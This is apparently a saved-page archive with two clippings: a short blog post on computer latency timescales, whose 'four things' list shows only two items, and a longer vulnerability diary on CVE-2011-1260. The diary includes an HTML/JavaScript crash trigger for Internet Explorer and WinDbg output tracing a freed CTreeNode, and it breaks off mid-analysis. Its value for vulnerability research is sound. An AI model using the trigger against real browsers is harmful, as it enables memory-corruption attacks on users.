---|---|---|---|---  
The Door | the Hall | The Library | The Studio | The Garden path   
  

# The Infinite Space Between Words

**Created:**| _6/27/2014 3:27:45 PM_  
---|---  
**Updated:**| _6/27/2014 3:27:45 PM_  
**Author:**| __  
**Tags:**| _performance_  
  

# The Infinite Space Between Words

Computer performance is a bit of a shell game. You're always waiting for one
of four things:

  * Memory
  * Network

But which one? How long will you wait? And what will you do while you're
waiting?

Did you see the movie "Her"? If not, you should. It's great. One of my
favorite scenes is the AI describing just how difficult it becomes to
communicate with humans:

> It's like I'm reading a book… and it's a book I deeply love. But I'm reading
> it slowly now. So the words are really far apart and the spaces between the
> words are almost infinite. I can still feel you… and the words of our story…
> but it's in this endless space between the words that I'm finding myself
> now. It's a place that's not of the physical world. It's where everything
> else is that I didn't even know existed. I love you so much. But this is
> where I am now. And this who I am now. And I need you to let me go. As much
> as I want to, I can't live your book any more.
I have some serious reservations about the work environment pictured in Her
where everyone's spending all day creepily whispering to their computers, but
there is deep fundamental truth in that one pivotal scene. That infinite space
"between" what we humans feel as time is where computers spend _all_ their
time. It's an entirely different timescale.

The book Systems Performance: Enterprise and the Cloud has a great table that
illustrates just how enormous these time differentials are. Just translate
computer time into arbitrary seconds:

1 CPU cycle| 0.3 ns| 1 s  
---|---|---  
Level 1 cache access| 0.9 ns| 3 s  
Level 2 cache access| 2.8 ns| 9 s  
Level 3 cache access| 12.9 ns| 43 s  
Main memory access| 120 ns| 6 min  
Solid-state disk I/O| 50-150 μs| 2-6 days  
Rotational disk I/O| 1-10 ms| 1-12 months  
Internet: SF to NYC| 40 ms| 4 years  
Internet: SF to UK| 81 ms| 8 years  
Internet: SF to Australia| 183 ms| 19 years  
OS virtualization reboot| 4 s| 423 years  
SCSI command time-out| 30 s| 3000 years  
Hardware virtualization reboot| 40 s| 4000 years  
Physical system reboot| 5 m| 32 millenia  
The above Internet times are kind of optimistic. If you look at the AT&T real
time US internet latency chart, the time from SF to NYC is more like 70ms. So
I'd double the Internet numbers in that chart.

<img src='img/Temp2_8138.png' />

Latency is one thing, but it's also worth considering the cost of that
bandwidth.

Speaking of the late, great Jim Gray, he also had an interesting way of
explaining this. If the CPU registers are how long it takes you to fetch data
from your brain, then **going to disk is the equivalent of fetching data from
Pluto.**

<img src='img/Temp2_8139.png' />

He was probably referring to traditional spinning rust hard drives, so let's
adjust that extreme endpoint for today:

  * Distance to Pluto: 4.67 billion miles.
  * Latest fastest spinning HDD performance \(49.7\) versus latest fastest PCI Express SSD \(506.8\). That's an improvement of 10x.
  * New distance: 467 million miles.
  * Distance to Jupiter: 500 million miles.

So instead of travelling to Pluto to get our data from disk in 1999, **today
we only need to travel to … Jupiter**.

<img src='img/Temp2_8140.png' />

That's disk performance over the last decade. How much faster did CPUs,
memory, and networks get in the same time frame? Would a 10x or 100x
improvement really make a dent in these vast infinite spaces in time that
computers deal with?

To computers, we humans work on a completely different time scale, practically
geologic time. Which is completely mind-bending. The faster computers get, the
bigger this time disparity grows.

# PICTUROKU: Diaries of a vulnerability

**Created:**| _8/18/2011 4:06:43 PM_  
---|---  
**Updated:**| _8/18/2011 4:06:43 PM_  
**Author:**| __  
**Tags:**| _windows security analysis vulnerability_  
  

## Quarta-feira, 17 de Agosto de 2011

###  Diaries of a vulnerability

Understanding CVE-2011-1260  
  

A couple of days back, I had the pleasure of reading d0c\_s4vage post
regarding an Internet Explorer exploit that was fixed in MS11-050. His writing
was so interesting that got me thinking how and why this vulnerability worked.
Unfortunately his posting didn't give me all the info I needed to fully grasp
the vulnerability. Moreover, although not relevant to the exploit, it based on
guesswork some details of what might be happening. Not relevant to the final
purpose of exploiting, but determinant to me, because I wanted to fully
understand the problem and the process, and, as a newbie into Internet
Explorer stuff, I didn't have the necessary toolset to fill all the blanks
left by the original posting doc. So, I decided to investigate a bit on my own
to understand more of the exploit process and more of how Internet Explorer
worked.  
It got me into jscript.dll and it's VM processor and into mshtml.dll the core
meta representation of IE. It got me into a nightmare...  
Nevertheless, I found quite surprising results, being the problem not really
the OBJECT element tag, but... Well, let's not spoil it... You'll have to wait
for the end of the story...  
  
These are some excerpts of a diary describing the 'dark' places where his
exploit took me.  
  
But, before starting, I'd like to apologize for the formatting of some
debugger output, but the blog has some automatic stuff that I can't escape
from. So, if you have some difficulty following the text in this post maybe
the PDF can help you: UnderstandingCVE2011-1260.pdf.  
  
First thing's first. The original test text that triggers the vulnerability:  
  
<html>  
<body>  
<script language='javascript'>  
document.body.innerHTML += "<object align='right' hspace='1000'
width='1000'>TAG\_1</object>";  
document.body.innerHTML += "<a id='tag\_3'
style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-
indent:-1000px' >TAG\_3</a>";  
document.body.innerHTML += "AAAAAAA";  
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='ltr'>TAG\_11</strong>";  
</script>  
</body>  
</html>  
  
And it's result:  

  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=004d35e0 ecx=004c004f edx=00000000 esi=0231c120 edi=00000000  
eip=6d0eb68f esp=0231c0f4 ebp=0231c10c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6d0eb68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  
k  
ChildEBP RetAddr  
0416bb70 6d129b02 mshtml\!CElement::Doc 0416bb8c 6d129a0e
mshtml\!CTreeNode::ComputeFormats+0xba  
0416be38 6d13872a mshtml\!CTreeNode::ComputeFormatsHelper+0x44  
0416be48 6d1386ea mshtml\!CTreeNode::GetFancyFormatIndexHelper+0x11  
0416be58 6d1386d1 mshtml\!CTreeNode::GetFancyFormatHelper+0xf  
0416be6c 6d15ab32 mshtml\!CTreeNode::GetFancyFormat+0x35  
0416be74 6d15abee mshtml\!CLineCore::AO\_GetFancyFormat+0x23  
0416bea8 6d14b7b6 mshtml\!CRecalcLinePtr::RecalcMargins+0x19d  
0416c6a0 6d1edbdb mshtml\!CDisplay::RecalcLines+0x6e5  
0416c77c 6d175c45 mshtml\!CDisplay::WaitForRecalc+0x209  
0416c7cc 6d0fe667 mshtml\!CFlowLayout::Notify+0x7de  
0416c7d8 6d0f2127 mshtml\!NotifyElement+0x41  
0416c82c 6d0f20be mshtml\!CMarkup::SendNotification+0x60  
0416c854 6d13c083 mshtml\!CMarkup::Notify+0xd6  
0416c89c 6d17574e mshtml\!CElement::SendNotification+0x4a  
0416c8c0 6d09189c mshtml\!CElement::EnsureRecalcNotify+0x15f  
0416c944 6d097145 mshtml\!CDisplayPointer::MoveUnit+0x2b2  
0416ca30 6d096fb2 mshtml\!CHTMLEditor::AdjustPointer+0x16f  
0416ca64 6d096e39 mshtml\!CEditTracker::AdjustPointerForInsert+0x8b  
0416cac0 6d096cd6 mshtml\!CCaretTracker::PositionCaretAt+0x141  
  

The crash is in mshtml\!CElement::Doc, a simple view of this functions tells
us what is going on. It's trying to read into EDX the value pointed by EAX+70,
but EAX is zero. As there's no valid mapped address there, we've got a crash.  

  

<img src='img/Temp2_6034.png' />But where is EAX coming from? From a value
pointed by ECX. Looking at the function, considering C++ constructs, ECX
should be a CElement object. And this can be confirmed by inspecting a couple
of mshtml\!CElement::Doc callers functions.  

  

<img src='img/Temp2_6028.png' />What is it trying to call then? Might it be
missing a CElement obj? Let's verify it's constructor, and some functions that
call it:  

  

<img src='img/Temp2_6035.png' />Before calling mshtml\!CElement::CElement
there's an allocation sized 0x2C that gives some clues about our class, namely
that CElement might be an object instantiator class. But looking more closely
at some more callers of mshtml\!CElement::CElement we can observe that most of
them are CreateElement members, so let's consider for now that this is the
class we're looking for, evaluate what we need, and try to get more clues to
validate all the info we found.  

  
<img src='img/Temp2_6032.png' />  

<img src='img/Temp2_6036.png' />From the above, the CElement::\`vftable' is
being stored in the first position of the CElement memory area, so it matches
with what we got before in CElement::Doc function. Then EAX should be pointing
to CElement::\`vftable', consequently EDX should be \[EAX+70\]:  

  
x mshtml\!CElement::\`vftable'  
6cf35570 mshtml\!CElement::\`vftable' = <no type information>  
ln poi\(6cf35570+70 \)  
\(6d0eb65d\) mshtml\!CElement::SecurityContext | \(6d0eb68d\) mshtml\!CElement::Doc   
Exact matches:  
mshtml\!CElement::SecurityContext = <no type information>  
  
So, the missing function is mshtml\!CElement::SecurityContext.  
  

Let's double check this. In order to do this, we need to backtrack to the ECX
pointer. We need to know were this supposed CElement is being stored, so we
can understand it's dynamic behavior and it's usage.  
The object is passed to mshtml\!CElement::Doc thru ECX. Watching the crash
stack we can see the execution path backward:  

  
ChildEBP RetAddr  
0416bb70 6d129b02 mshtml\!CElement::Doc  
0416bb8c 6d129a0e mshtml\!CTreeNode::ComputeFormats+0xba  
0416be38 6d13872a mshtml\!CTreeNode::ComputeFormatsHelper+0x44  
0416be48 6d1386ea mshtml\!CTreeNode::GetFancyFormatIndexHelper+0x11  
  

Going to mshtml\!CTreeNode::ComputeFormats, ECX is being set from the address
pointed by EBX. Considering the code executed until the crash, we can see that
EBX was not changed, so EBX provided by the debugger is still valid \(Although
we never should consider this, as concurrent threads might alter the memory
state, this point will be proved by the following analysis, so consider this a
true statement\). This is a good thing as EBX can give us some pointers
finding the hot zones.  

<img src='img/Temp2_6026.png' />Continuing backwards, we need to trace EBX
now.  
  

<img src='img/Temp2_6037.png' />Just at the beginning of
mshtml\!CTreeNode::ComputeFormats there's EBX being loaded from the first
function argument. As this is what we're trying to determine I called it
ImportantArg. :\)  
Now watch the function declaration. It's telling that the first argument, our
EBX, is of type class CFormatInfo. Let's go to CFormatInfo constructor,
CFormatInfo::CFormatInfo\(void \*Dst\), and see what it does:  
  

<img src='img/Temp2_6040.png' />There's nothing out of ordinary in it, so we
need more clues.  
Let's see what's it size in memory and who allocates it, by inspecting it's
callers:  
  

<img src='img/Temp2_6031.png' />They're not so many, so this is not going to
be hard. Entering any of it's callers, what we find is that there's no space
being accounted for, instead it's using part of others objects space. This
means that CFormatInfo is an abstract class.  
  

<img src='img/Temp2_6030.png' />Let's then continue our voyage back in
execution path. Let's go to mshtml\!CTreeNode::ComputeFormatsHelper.  

  

<img src='img/Temp2_6027.png' />We saw before in
mshtml\!CTreeNode::ComputeFormats that EBX was coming from the first
function's argument. The first argument being pushed to
mshtml\!CTreeNode::ComputeFormats in mshtml\!CTreeNode::ComputeFormatsHelper
is ESI, but ESI is being set with ECX value. ECX in
mshtml\!CTreeNode::ComputeFormatsHelper is a CTreeNode. Hmmm... Ok, let's test
this theory. Let's set a breakpoint on the constructor and see if any object
of type CTreeNode is the EBX from the crash:  

  
<img src='img/Temp2_6038.png' />It's declaration is the one from the picture
so the breakpoint we'll be using is:  
  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
parent\[%08x\] GCType\[%08x\]\\\n\",ecx,poi\(esp+4\),poi\(esp+8\);gc"  
  

GCType needs some explaining. Basically I found a function that calls the
CTreeNode constructor with symbols that define the argument position as of
type enum with GCType as name.  

  
CGeneratedTreeNode::CGeneratedTreeNode\(class CTreeNode \*, class CTreeNode
\*, enum GCType\)  
  

Now we need to reload the crashing html page, and set the breakpoint, and then
run IE until crash.  

  
0:013> bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
parent\[%08x\] GCType\[%08x\]\\\n\",ecx,poi\(esp+4\),poi\(esp+8\);gc"  
  
0:013> g  
...  
CTreeNode:node\[004d38a0\] parent\[004d36e8\] GCType\[00000000\]  
CTreeNode:node\[004d35e0\] parent\[004d3690\] GCType\[00000000\]  
CTreeNode:node\[004d3798\] parent\[004d35e0\] GCType\[00000000\]  
CTreeNode:node\[004d39a8\] parent\[004d35e0\] GCType\[00000000\]  
CTreeNode:node\[004d3798\] parent\[004380f0\] GCType\[00000000\]  
CTreeNode:node\[004d39a8\] parent\[004380f0\] GCType\[00000000\]  
CTreeNode:node\[00437fe8\] parent\[00000000\] GCType\[00000000\]  
...  
CTreeNode:node\[004d3848\] parent\[004d3950\] GCType\[00000000\]  
CTreeNode:node\[004d3690\] parent\[004d38a0\] GCType\[00000000\]  
CTreeNode:node\[004d35e0\] parent\[004d3690\] GCType\[00000000\]  
CTreeNode:node\[004d39a8\] parent\[004d3690\] GCType\[00000000\]  
CTreeNode:node\[004d3a58\] parent\[004d3690\] GCType\[00000000\]  
CTreeNode:node\[004d35e0\] parent\[004380f0\] GCType\[00000000\]  
CTreeNode:node\[004d39a8\] parent\[004380f0\] GCType\[00000000\]  
...  
CTreeNode:node\[004d3950\] parent\[004d3638\] GCType\[00000000\]  
\(e64.95c\): Access violation - code c0000005 \(first chance\)  
  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=004d35e0 ecx=004c004f edx=00000000 esi=0231c120 edi=00000000  
eip=6d0eb68f esp=0231c0f4 ebp=0231c10c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6d0eb68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  

Yes, it does seem that EBX is indeed a CTreeNode. Remember that EBX is a valid
pointer.  
But whatever its first position is pointing is not. What sorts of objects are
then being created at this position? In order to find this out we need another
breakpoint at the same location that might give us some hint. Going back to
mshtml\!CTreeNode::CTreeNode, EDI is what we're looking for, as it's value is
put at the first position pointed by ECX.  

  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
Type:\",ecx;dds edi l1;gc"  
  
g  
CTreeNode:node\[004a7a68\] Type:004f2718 6d062010
mshtml\!CRootElement::\`vftable'  
...  
CTreeNode:node\[005454e0\] Type:0053c938 6d023dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[00545220\] Type:0050b668 6d062010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[00545328\] Type:0050b578 6d071598
mshtml\!CHtmlElement::\`vftable'  
...  
CTreeNode:node\[00545278\] Type:004f4de8 6d071ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[00545380\] Type:004f4d40 6d070c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[00545220\] Type:0053c850 6d023dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[00545640\] Type:004f9c70 6cf37eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[00545748\] Type:0050b7e8 6cf371b0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[00545220\] Type:0053c850 6d023dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[00545640\] Type:004f9c70 6cf37eb0
mshtml\!CAnchorElement::\`vftable'  
...  
CTreeNode:node\[00545698\] Type:004b4d00 6d070c30
mshtml\!CBodyElement::\`vftable'  
\(500.4a8\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00545220 ecx=0053000d edx=00000000 esi=0208c028 edi=00000000  
eip=6d0eb68f esp=0208bffc ebp=0208c014 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6d0eb68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  

Ok, mshtml\!CObjectElement is the last object type, CTreeNode is utilizing
before crashing. Going again all the same steps but now for
mshtml\!CObjectElement:  

  
x mshtml\!CObjectElement::\`vftable'  
6d023dd8 mshtml\!CObjectElement::\`vftable' = <no type information>  
ln poi\(6d023dd8+70\)  
\(6d0eb65d\) mshtml\!CElement::SecurityContext | \(6d0eb68d\) mshtml\!CElement::Doc   
Exact matches:  
mshtml\!CElement::SecurityContext = <no type information>  
  

But the only function that calls mshtml\!CObjectElement::CObjectElement is
CObjectElement::CreateElement, so this might be simpler.  

  

<img src='img/Temp2_6042.png' />See HeapAlloc and the size requested for
allocation, 0xE0? This is the size of the CObjectElement. So this is what
we're looking for all along.  

  
Let's review then what we got so far:  
  
EBX = CTreeNode and ECX = CObjectElement.  
  

Now we need to find out what is going on with this CTreeNode and why does it
crash. Why all the sudden the data that our CTreeNode references becomes
invalid.  
If you observe the full trace you'll notice that the object creation sequence
is predictable, so we'll use a basic heuristic to get to the last valid
mshtml\!CObjectElement that, by the time of the crash, EBX is pointing to.
Counting the occurrences we see that there are eight occurrences of
mshtml\!CObjectElement object creation.  

  
CTreeNode:node\[004482a8\] Type:004ad3a8 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[00447a68\] Type:00492ff0 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[00447a68\] Type:00492ff0 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004478b0\] Type:004934d0 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[00448250\] Type:00493fb8 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[00448098\] Type:004939d0 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[00448040\] Type:00499d00 6e31f9f8
mshtml\!CScriptElement::\`vftable'  
CTreeNode:node\[00447ac0\] Type:004ad258 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[004e5010\] Type:004ad2e8 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004e5068\] Type:004ad198 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[004e50c0\] Type:00494060 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[004e5118\] Type:00499f30 6e31f9f8
mshtml\!CScriptElement::\`vftable'  
CTreeNode:node\[004e51c8\] Type:00493928 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[004e5220\] Type:004d9570 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5220\] Type:004d9570 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e4f60\] Type:004ad258 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[004e5068\] Type:004ad2e8 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004e50c0\] Type:004ad198 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[004e5278\] Type:00493928 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[004e4fb8\] Type:00494060 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[004e5170\] Type:004d9488 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5380\] Type:00499ec0 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5170\] Type:004d9488 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5380\] Type:00499ec0 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5010\] Type:004ad258 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[004e5278\] Type:004ad2e8 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004e5328\] Type:004ad198 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[004e51c8\] Type:00493d50 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[004e5118\] Type:00493928 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[004e5220\] Type:004d9570 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5430\] Type:0049a010 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5220\] Type:004d9570 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5430\] Type:0049a010 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5068\] Type:004ad258 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[004e51c8\] Type:004ad2e8 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004e53d8\] Type:004ad198 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[004e4fb8\] Type:00493e30 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[004e50c0\] Type:00493d50 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
CTreeNode:node\[004e4f60\] Type:004d9488 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5380\] Type:00499fa0 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5488\] Type:004ad408 6e1871b0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[004e4f60\] Type:004d9488 6e273dd8
mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[004e5380\] Type:00499fa0 6e187eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[004e5488\] Type:004ad408 6e1871b0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[00448040\] Type:004ad258 6e2b2010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[004e5278\] Type:004ad198 6e2c1598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[004e51c8\] Type:004ad378 6e2c1868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[004e50c0\] Type:004940d0 6e2c1ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[004e53d8\] Type:00452870 6e2c0c30
mshtml\!CBodyElement::\`vftable'  
\(7b8.81c\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=ffffffff ebx=004e4f60 ecx=004d000d edx=00000000 esi=0205bd60 edi=00000000  
eip=6e33b68f esp=0205bd34 ebp=0205bd4c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6e33b68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:0000006f=????????  
  

We're then, going to try to intercept the construction of a CTreeNode of type
mshtml\!CObjectElement and follow it's changes until crashing. We'll be
setting a breakpoint on the constructor that stops on every instance of an
object having a virtual function table pointing to the mshtml\!CObjectElement
virtual function table definition. So, as soon as we break we run the debugger
again eight times until we get to the last mshtml\!CObjectElement created.  
  
Note: You should test this on your system because this is dependent on OS
version. The tests described here use a Windows 7 SP1. When I used Windows XP
SP2, the number of runs needed where still constant but instead of eight runs
I needed to set the debugger on go eleven times.  
  
x mshtml\!CObjectElement::\`vftable'  
6db03dd8 mshtml\!CObjectElement::\`vftable' = <no type information>  
  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
Type:\",ecx;dds edi l1; .if\(poi\(edi\)\!=6db03dd8 \) \{gc;\}"  
  
g  
CTreeNode:node\[0018d890\] Type:000ff710 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[0018d998\] Type:0012e9f8 6da171b0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[0018d470\] Type:000d4f98 6db03dd8
mshtml\!CObjectElement::\`vftable'  
eax=0018d470 ebx=0243c9f0 ecx=0018d470 edx=00000000 esi=000e7a48 edi=000d4f98  
eip=6dbd47b9 esp=0243c87c ebp=0243c9dc iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
mshtml\!CTreeNode::CTreeNode:  
6dbd47b9 8bff mov edi,edi  
  
We're now in the last mshtml\!CObjectElement. Remember the node address
\(0018d470\) as we'll need to validate it against EBX at the time of the
crash.  
  
dc 0018d470  
0018d470 00000000 00000000 00000000 00000000 ................  
0018d480 00000000 00000000 00000000 00000000 ................  
0018d490 00000000 00000000 00000000 00000000 ................  
0018d4a0 00000000 00000000 00000000 00000000 ................  
0018d4b0 00000000 00000000 00000000 00000000 ................  
  
\!heap -x 0018d470  
Entry User Heap Segment Size PrevSize Unused Flags  
\-----------------------------------------------------------------------------  
0018d468 0018d470 00090000 0013a868 58 - c LFH;busy  
  

Until now the CTreeNode is valid and is unitialized. What happens between now
and the unavoidable terminal code path in mshtml\!CElement::Doc that makes it
crash the process?  
At the time of the crash the ECX register value is retrieved from the first
position of the object pointed by EBX. This value is consistently different of
zero. If we look now at the value pointed by 0018d470 its value is zero. This
tells us that there is somewhere in the code some thing that changes this
value, invalidating our entry and ultimately crashing the code.  
Let's then set a breakpoint on write on this memory location to see who
changes it.  

  
ba w4 0018d470  
g  
Breakpoint 1 hit  
eax=ffffffff ebx=0243c9f0 ecx=0018d470 edx=00000000 esi=00000008 edi=000d4f98  
eip=6dbd47f4 esp=0243c874 ebp=0243c878 iopl=0 nv up ei ng nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286  
mshtml\!CTreeNode::CTreeNode+0x3b:  
6dbd47f4 85ff test edi,edi  
  
ub eip l1  
mshtml\!CTreeNode::CTreeNode+0x39:  
6dbd47f2 8939 mov dword ptr \[ecx\],edi  
  
dc ecx  
0018d470 000d4f98 00000000 ffff0000 ffffffff .O..............  
0018d480 00000000 00000000 00000000 00000000 ................  
  
dc edi  
000d4f98 6db03dd8 00000001 00000008 0012f6f8 .=.m............  
000d4fa8 00000000 00000000 8800004a a0012000 ........J.... ..  
  
k  
ChildEBP RetAddr  
0243c878 6db29141 mshtml\!CTreeNode::CTreeNode+0x3b  
0243c9dc 6db26e4b mshtml\!CSpliceTreeEngine::InsertSplice+0x6f2  
0243cac0 6db26c90 mshtml\!CMarkup::SpliceTreeInternal+0x9a  
0243cb10 6db287ac mshtml\!CDoc::CutCopyMove+0xca  
0243cb2c 6db29ccb mshtml\!CDoc::Move+0x16  
0243cc30 6db29add mshtml\!InjectHtmlStream+0x1ce  
0243cc6c 6db2735c mshtml\!HandleHTMLInjection+0x5c  
0243cd24 6db2951d mshtml\!CElement::InjectInternal+0x307  
0243cd40 6db2a803 mshtml\!CElement::InjectCompatBSTR+0x46  
0243cd60 6dc55d62 mshtml\!CElement::put\_innerHTML+0x40  
0243cd90 6dc3f10b mshtml\!GS\_PropEnum+0x1ac  
0243ce04 6dc4a6c6 mshtml\!CBase::ContextInvokeEx+0x5dc  
0243ce54 6dc4a706 mshtml\!CElement::ContextInvokeEx+0x9d  
0243ce80 6dbebc0e mshtml\!CInput::VersionedInvokeEx+0x2d  
0243ced4 6fb1a26e mshtml\!PlainInvokeEx+0xeb  
0243cf10 6fb1a1b9 jscript\!IDispatchExInvokeEx2+0x104  
0243cf4c 6fb1a43a jscript\!IDispatchExInvokeEx+0x6a  
0243d00c 6fb1a4e4 jscript\!InvokeDispatchEx+0x98  
0243d040 6fb2d9a8 jscript\!VAR::InvokeByName+0x139  
0243d088 6fb19c4e jscript\!VAR::InvokeDispName+0x7d  
....  
  

This is ok. We're still in the constructor and the code is just initializing
the object.  
  

g  
CTreeNode:node\[0018d890\] Type:000ff710 6da17eb0
mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[0018d998\] Type:0012e9f8 6da171b0
mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[000c7fe0\] Type:0012e7b8 6db42010
mshtml\!CRootElement::\`vftable'  
CTreeNode:node\[0018d788\] Type:0012e698 6db51598
mshtml\!CHtmlElement::\`vftable'  
CTreeNode:node\[0018d6d8\] Type:0012e968 6db51868
mshtml\!CHeadElement::\`vftable'  
CTreeNode:node\[0018d5d0\] Type:000d4670 6db51ae8
mshtml\!CTitleElement::\`vftable'  
CTreeNode:node\[0018d8e8\] Type:000d4a28 6db50c30
mshtml\!CBodyElement::\`vftable'  
Breakpoint 1 hit  
eax=0049000d ebx=0000000f ecx=0000004a edx=00000049 esi=0013a868 edi=0018d468  
eip=778e2d75 esp=0243d190 ebp=0243d1c4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
ntdll\!RtlpLowFragHeapFree+0xa6:  
778e2d75 2b7df4 sub edi,dword ptr \[ebp-0Ch\] ss:0023:0243d1b8=0018d458  
  
ub eip l1  
ntdll\!RtlpLowFragHeapFree+0xa2:  
778e2d71 66894708 mov word ptr \[edi+8\],ax  
  
dc edi  
0018d468 062edd79 80000000 000d000d 00000000 y...............  
0018d478 ffff404a ffffffff 00000051 00000000 J@......Q.......  
0018d488 00000000 00000000 00000000 0018d498 ................  
0018d498 00000062 00000000 00000000 00000000 b...............  
  

Aha\! EDI=0018d468, EDI+8=0018d470. And look where we are:
ntdll\!RtlpLowFragHeapFree.  
Let's look at it's stack history: mshtml\!CTreeNode::Release. Ups, we're
releasing a CTreeNode.  

  
k  
ChildEBP RetAddr  
0243d1c4 778e2ce8 ntdll\!RtlpLowFragHeapFree+0xa6  
0243d1dc 77a2bbe4 ntdll\!RtlFreeHeap+0x105  
0243d1f0 6dc2fbf2 kernel32\!HeapFree+0x14  
0243d200 6db26555 mshtml\!CTreeNode::Release+0x2d  
0243d208 6db292a8 mshtml\!CTreeNode::PrivateExitTree+0x17  
0243d358 6db26e34 mshtml\!CSpliceTreeEngine::RemoveSplice+0x812  
0243d438 6db26c90 mshtml\!CMarkup::SpliceTreeInternal+0x83  
0243d488 6db27434 mshtml\!CDoc::CutCopyMove+0xca  
0243d4a4 6db27412 mshtml\!CDoc::Remove+0x18  
0243d4bc 6db29c8e mshtml\!RemoveWithBreakOnEmpty+0x3a  
0243d5b8 6db29add mshtml\!InjectHtmlStream+0x191  
